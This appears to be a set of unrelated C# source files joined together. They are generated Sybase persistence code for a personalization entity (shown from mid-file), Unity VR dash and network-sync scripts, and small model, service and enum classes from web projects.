com.sybase.afx.db.CommandUtil.SetNullableString(_conn.GetConnectionProfile(), cmd, "description", this.Description);
com.sybase.afx.db.CommandUtil.SetLong(_conn.GetConnectionProfile(), cmd, "id", this.Id);
count = cmd.ExecuteNonQuery();
cmd.Dispose();
};
_isNew = false;
_isDirty = false;
_isDeleted = false;
}
catch (System.Data.DataException ex)
{
throw new Sybase.Persistence.PersistenceException(Sybase.Persistence.PersistenceException.EXCEPTION_CAUSE, ex.ToString(), ex);
}
finally
{
MMSCAN.MMSCANDB.ReleaseDBConnection();
}
}
#endregion
public static Sybase.Persistence.ISynchronizationGroup GetSynchronizationGroup()
{
return MMSCAN.MMSCANDB.GetSynchronizationGroup("");
}
#region Finder methods
/// <summary>
/// Find a List of MMSCAN.ClientPersonalization
/// </summary>
/// <exception cref="PersistentException">Thrown if unable to retrieve mobile business object.</exception>
/// <remarks> </remarks>
public static Sybase.Collections.GenericList<MMSCAN.ClientPersonalization> FindByUser(string user, int skip, int take)
{
skip = skip + 1;
Sybase.Collections.GenericList<MMSCAN.ClientPersonalization> result_2 = new Sybase.Collections.GenericList<MMSCAN.ClientPersonalization>();
System.Data.IDataReader rs_4 = null;
int count_5 = 0;
Sybase.Persistence.ConnectionWrapper _conn = null;
try
{
_conn = MMSCAN.MMSCANDB.AcquireDBReadConnection();
string _selectSQL = " p.\"key_name\",p.\"user\",p.\"value\",p.\"user_defined\",p.\"description\",p.\"id\" from \"co_mmscan_1_8_3_clientpersonalization\" p where p.\"user\" = ?";
_selectSQL = "select top " + take + " start at " + skip + " " + _selectSQL;
using (System.Data.IDbCommand ps_3 = com.sybase.afx.db.CommandUtil.CreateCommand(_conn, _selectSQL))
{
com.sybase.afx.db.CommandUtil.SetString(_conn.GetConnectionProfile(), ps_3, "user", user);
using (rs_4 = ps_3.ExecuteReader())
{
Sybase.Persistence.ConnectionProfile profile = _conn.GetConnectionProfile();
while (com.sybase.afx.db.ReaderUtil.Read(profile, rs_4))
{
MMSCAN.ClientPersonalization entity_6 = new MMSCAN.ClientPersonalization();
entity_6.Bind(profile, rs_4);
count_5++;
result_2.Add(entity_6);
}
if (rs_4 != null) com.sybase.afx.db.ReaderUtil.Close(profile, rs_4, count_5);
if (ps_3 != null) ps_3.Dispose();
}
}
_selectSQL = null;
}
catch (System.Data.DataException ex)
{
throw new Sybase.Persistence.PersistenceException(Sybase.Persistence.PersistenceException.EXCEPTION_CAUSE, ex.ToString(), ex);
}
finally
{
MMSCAN.MMSCANDB.ReleaseDBConnection();
}
return result_2;
}
/// <summary>
/// Find a list of MMSCAN.ClientPersonalization
/// </summary>
public static Sybase.Collections.GenericList<MMSCAN.ClientPersonalization> FindByUser(string user)
{
return FindByUser(user, 0,1000000);
}
#endregion
public static Sybase.Collections.GenericList<MMSCAN.ClientPersonalization> FindAll()
{
//
string who = MMSCAN.MMSCANDB.GetSyncUsername();
Sybase.Collections.GenericList<MMSCAN.ClientPersonalization> list = FindByUser(who);
bool p1 = false;
bool p2 = false;
bool p3 = false;
bool p4 = false;
bool p5 = false;
bool p6 = false;
bool p7 = false;
bool p8 = false;
bool p9 = false;
bool p10 = false;
bool p11 = false;
bool p12 = false;
bool p13 = false;
foreach (MMSCAN.ClientPersonalization __p in list)
{
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PKUsername"))
{
p1 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PKUserpass"))
{
p2 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PKZposition"))
{
p3 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PKZzbarcode"))
{
p4 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PKTestRun"))
{
p5 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PKBwart"))
{
p6 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PKDtyp"))
{
p7 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PKDocNum"))
{
p8 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PKJahr"))
{
p9 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PK_DM_DATA"))
{
p10 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PK_DM_FIELDS"))
{
p11 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PK_TMC_DATA"))
{
p12 = true;
__p.Description = "\n \n ";
}
if (com.sybase.afx.util.StringUtil.Equal(__p.Key_name, "PK_TMC_FIELDS"))
{
p13 = true;
__p.Description = "\n \n ";
}
}
if (! p1)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PKUsername";
__p.User = who;
__p.Value = "";
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p2)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PKUserpass";
__p.User = who;
__p.Value = "";
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p3)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PKZposition";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p4)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PKZzbarcode";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p5)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PKTestRun";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p6)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PKBwart";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p7)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PKDtyp";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p8)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PKDocNum";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p9)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PKJahr";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p10)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PK_DM_DATA";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p11)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PK_DM_FIELDS";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p12)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PK_TMC_DATA";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
if (! p13)
{
MMSCAN.ClientPersonalization __p = new MMSCAN.ClientPersonalization();
__p.Key_name = "PK_TMC_FIELDS";
__p.User = who;
__p.Value = null;
__p.User_defined = false;
__p.Description = "\n \n ";
list.Add(__p);
}
return list;
}
private void BeforeSave()
{
//
User = MMSCAN.MMSCANDB.GetSyncUsername();
}
public string GetRealValue()
{
//
return Value;
}
#region JSON methods
/// <summary>
/// Sybase internal use only.
/// <summary>
public static MMSCAN.ClientPersonalization __fromJSON(object _json)
{
return MMSCAN.ClientPersonalization.FromJSON(_json);
}
internal static MMSCAN.ClientPersonalization FromJSON(object _json)
{
if (_json == null)
{
return null;
}
else
{
MMSCAN.ClientPersonalization _obj = new MMSCAN.ClientPersonalization();
_obj._fromJSON((com.sybase.afx.json.JsonObject)_json);
return _obj;
}
}
internal void _fromJSON(com.sybase.afx.json.JsonObject _json)
{
__key_name = (_json.GetString("key_name"));
__user = (_json.GetString("user"));
__value = (_json.GetNullableString("value"));
__user_defined = (_json.GetBoolean("user_defined"));
__description = (_json.GetNullableString("description"));
__id = (_json.GetLong("id"));
char op_2 = _json.GetChar("_op");
_isNew = (op_2 == 'C');
_isDirty = (op_2 == 'U');
_isDeleted = (op_2 == 'D');
}
/// <summary>
/// Sybase internal use only.
/// <summary>
public static com.sybase.afx.json.JsonObject __toJSON(MMSCAN.ClientPersonalization _object)
{
return MMSCAN.ClientPersonalization.ToJSON(_object);
}
/// <summary>
/// Sybase internal use only.
/// <summary>
public static com.sybase.afx.json.JsonObject __toJSON(MMSCAN.ClientPersonalization _object, bool _includeBigAttribute)
{
if(_includeBigAttribute)
{
return MMSCAN.ClientPersonalization.ToJSON(_object);
}
else
{
return MMSCAN.ClientPersonalization.ToJSONWithoutBigAttribute(_object);
}
}
internal static com.sybase.afx.json.JsonObject ToJSONWithoutUserAttributes(MMSCAN.ClientPersonalization _object)
{
return MMSCAN.ClientPersonalization.ToJSON(_object, false, false, false);
}
internal static com.sybase.afx.json.JsonObject ToJSONWithoutBigAttribute(MMSCAN.ClientPersonalization _object)
{
return MMSCAN.ClientPersonalization.ToJSON(_object, false, false, true);
}
internal static com.sybase.afx.json.JsonObject ToJSON(MMSCAN.ClientPersonalization _object)
{
return MMSCAN.ClientPersonalization.ToJSON(_object, false, true, true);
}
internal static com.sybase.afx.json.JsonObject ToJSON(MMSCAN.ClientPersonalization _object, bool __buildGraph)
{
return ToJSON(_object, __buildGraph, true, true);
}
internal static com.sybase.afx.json.JsonObject ToJSON(MMSCAN.ClientPersonalization _object, bool __buildGraph, bool _includeBigAttribute)
{
return ToJSON(_object, __buildGraph, _includeBigAttribute, true);
}
internal static com.sybase.afx.json.JsonObject ToJSON(MMSCAN.ClientPersonalization _object, bool __buildGraph, bool _includeBigAttribute, bool _includeUserAttributes)
{
if ((_object == null))
{
return null;
}
else
{
return _object._toJSON(__buildGraph,_includeBigAttribute,_includeUserAttributes);
}
}
internal com.sybase.afx.json.JsonObject _toJSON()
{
return this._toJSON(false, true, true);
}
internal com.sybase.afx.json.JsonObject _toJSON(bool __buildGraph)
{
return _toJSON(__buildGraph, true, true);
}
internal com.sybase.afx.json.JsonObject _toJSON(bool __buildGraph, bool _includeBigAttribute, bool _includeUserAttributes)
{
com.sybase.afx.json.JsonObject _json = new com.sybase.afx.json.JsonObject();
char op_2 = 'N';
if (this.IsNew)
{
op_2 = 'C';
}
else if (this.IsDirty)
{
op_2 = 'U';
}
else if (this.IsDeleted)
{
op_2 = 'D';
}
_json.Put("_op", op_2);
_json.Put("key_name", Key_name);
_json.Put("user", User);
_json.Put("value", Value);
_json.Put("user_defined", User_defined);
_json.Put("description", Description);
_json.Put("id", Id);
return _json;
}
/// <summary>
/// Sybase internal use only.
/// <summary>
public static Sybase.Collections.GenericList<ClientPersonalization> __fromJSONList(object __array)
{
return MMSCAN.ClientPersonalization.FromJSONList(__array);
}
/// <summary>
/// Sybase internal use only.
/// <summary>
public static com.sybase.afx.json.JsonArray __toJSONList(Sybase.Collections.GenericList<ClientPersonalization> __array)
{
return MMSCAN.ClientPersonalization.ToJSONList(__array);
}
internal static Sybase.Collections.GenericList<ClientPersonalization> FromJSONList(object __array)
{
com.sybase.afx.json.JsonArray _array = (com.sybase.afx.json.JsonArray)__array;
Sybase.Collections.GenericList<ClientPersonalization> _list;
if (_array == null)
{
_list = null;
}
else
{
int _size = _array.Count;
_list = new Sybase.Collections.GenericList<ClientPersonalization>(_size);
foreach (object __o in _array)
{
_list.Add((MMSCAN.ClientPersonalization)(MMSCAN.ClientPersonalization.FromJSON((com.sybase.afx.json.JsonObject)(__o))));
}
}
return _list;
}
internal static com.sybase.afx.json.JsonArray ToJSONList(Sybase.Collections.GenericList<ClientPersonalization> _list)
{
return MMSCAN.ClientPersonalization.ToJSONList(_list, false);
}
internal static com.sybase.afx.json.JsonArray ToJSONListWithoutBigAttribute(Sybase.Collections.GenericList<ClientPersonalization> _list)
{
return MMSCAN.ClientPersonalization.ToJSONList(_list, false, false);
}
internal static com.sybase.afx.json.JsonArray ToJSONList(Sybase.Collections.GenericList<ClientPersonalization> _list, bool __buildGraph)
{
return MMSCAN.ClientPersonalization.ToJSONList(_list, __buildGraph, true);
}
internal static com.sybase.afx.json.JsonArray ToJSONList(Sybase.Collections.GenericList<ClientPersonalization> _list, bool __buildGraph, bool __includeBig)
{
com.sybase.afx.json.JsonArray array_1;
if ((_list == null))
{
array_1 = null;
}
else
{
array_1 = new com.sybase.afx.json.JsonArray(_list.Count);
foreach(MMSCAN.ClientPersonalization __o in _list)
{
array_1.Add(MMSCAN.ClientPersonalization.ToJSON(__o, __buildGraph, __includeBig));
}
}
return array_1;
}
#endregion
}
} |
namespace VRTK
{
using UnityEngine;
using System.Collections;
#if UNITY_5_5_OR_NEWER
using UnityEngine.AI;
#endif
public class VRTK_BlinkDash : MonoBehaviour
{
VRTK_ControllerEvents CE;
GameObject RightController;
protected Transform headset;
protected Transform playArea;
public GameObject testMove;
public float dashAmount = 3;
public float adjustSpeed = 1;
public float blinkTime = 0.25f;
private bool blinking = false;
public float blinkFadeBack = 0.03f;
public float blinkFade = 0.02f;
protected float fadeInTime = 0f;
public VRTK_HeadsetFade headsetFade;
void OnEnable()
{
headsetFade = transform.GetComponent<VRTK_HeadsetFade>();
headset = VRTK_SharedMethods.AddCameraFade();
playArea = VRTK_DeviceFinder.PlayAreaTransform();
bool found = false;
foreach (Transform child in transform.parent)
{
if(child.name == "RightController" && child.GetComponent<VRTK_ControllerEvents>())
{
CE = child.GetComponent<VRTK_ControllerEvents>();
RightController = child.gameObject;
found = true;
}
}
if(!found)
{
Debug.LogError("Right controller script not found :(");
}
CE.TouchpadPressed += TouchPadPressedListener;
}
void OnDisable()
{
CE.TouchpadPressed -= TouchPadPressedListener;
}
public void TouchPadPressedListener(object sender, ControllerInteractionEventArgs e)
{
Vector3 direction = new Vector3(e.touchpadAxis.x, 0, e.touchpadAxis.y) * dashAmount;
direction = RightController.transform.TransformDirection(direction);
direction.y = 0;
direction += testMove.transform.position;
StartCoroutine(blinkDash(testMove.transform.position, direction));
Blink(0.5f);
}
protected virtual void Blink(float transitionSpeed)
{
Debug.Log("blink start");
//VRTK_SDK_Bridge.HeadsetFade(Color.black, 0);
headsetFade.Fade(new Color(0,0,0,0.75f), 0);
Invoke("ReleaseBlink", blinkFadeBack);
}
protected virtual void ReleaseBlink()
{
Debug.Log("blink stop");
//VRTK_SDK_Bridge.HeadsetFade(Color.clear, fadeInTime);
headsetFade.Unfade(blinkFade);
fadeInTime = 0f;
}
IEnumerator blinkDash( Vector3 startPos, Vector3 destination)
{
if (!blinking)
{
float elapsedTime = 0;
float t = 0;
while (t < 1)
{
testMove.transform.position = Vector3.Lerp(startPos, destination, t);
elapsedTime += Time.deltaTime;
t = elapsedTime / blinkTime;
if (t > 1)
{
if (testMove.transform.position != destination)
{
testMove.transform.position = destination;
}
t = 1;
}
yield return new WaitForEndOfFrame();
}
}
blinking = false;
yield return null;
}
void Update()
{
//Vector2 touchValue = CE.GetTouchpadAxis();
//if (touchValue.magnitude > 0.05f)
//{
// Vector3 MoveVec = new Vector3(-touchValue.y, 0, touchValue.x)* adjustSpeed *Time.deltaTime;
// testMove.transform.Translate(MoveVec);
//}
}
}
} |
using UnityEngine;
using System.Collections;
//Данный класс предназначен для синхронизации текстовых строк
public class LAbelSyncScr : MonoBehaviour
{
// компонент NetworkView и его настройки
private NetworkView netView;
void Awake()
{
netView = GetComponent<NetworkView> ();
netView.stateSynchronization = NetworkStateSynchronization.Off;
netView.observed = this;
}
void Update ()
{
//Если объект на стороне сервера - передать параметры клиенту
if (Network.isServer) networkView.RPC("OnReceiveState", RPCMode.Others, GetComponent<UILabel> ().text);
}
[RPC]
void OnReceiveState(string Str)
{
//Если объект на стороне клиента - получить параметры от сервера
if (Network.isClient) GetComponent<UILabel> ().text = Str;
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace IES.Resource.Model
{
/// <summary>
/// 习题的公共信息
/// </summary>
public class ExerciseInfoCommon
{
/// <summary>
/// 习题的基本信息
/// </summary>
public Exercise exercise { get; set; }
/// <summary>
/// 附件信息
/// </summary>
public List<Attachment> attachmentlist { get; set; }
/// <summary>
/// 习题选项
/// </summary>
public List<ExerciseChoice> exercisechoicelist { get; set; }
/// <summary>
/// 习题关联知识点
/// </summary>
public List<Ken> kenlist { get; set; }
/// <summary>
/// 习题关联的关键字
/// </summary>
public List<Key> keylist { get; set; }
}
}
|
using SULS.Data;
using SULS.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace SULS.Services
{
public class SubmissionService : ISumbissionService
{
private readonly SULSContext dbContext;
public SubmissionService(SULSContext dbContext)
{
this.dbContext = dbContext;
}
public bool CreateSubmission(string code,string problemId,string userId)
{
Problem problem = this.dbContext.Problems.SingleOrDefault(p => p.Id == problemId);
User user = this.dbContext.Users.SingleOrDefault(u => u.Id == userId);
int problemTotalPoints = problem.Points;
int achievedResult = new Random().Next(0, problemTotalPoints);
Submission submissionForDb = new Submission()
{
AchievedResult = achievedResult,
Code = code,
CreatedOn = DateTime.UtcNow,
Problem = problem,
User = user
};
this.dbContext.Submissions.Add(submissionForDb);
this.dbContext.SaveChanges();
return true;
}
public Problem GetCurrentProblem(string problemId)
{
return this.dbContext.Problems.SingleOrDefault(p => p.Id == problemId);
}
}
}
|
namespace InternetShop.Enums
{
public enum OrderStatuses : byte { Opened = 1, Rejected, Completed, Returned }
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace cataloguehetm.ViewModels
{
public class AdminViewModel
{
public Admin admin { get; set; }
public bool authenticated { get; set; }
}
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.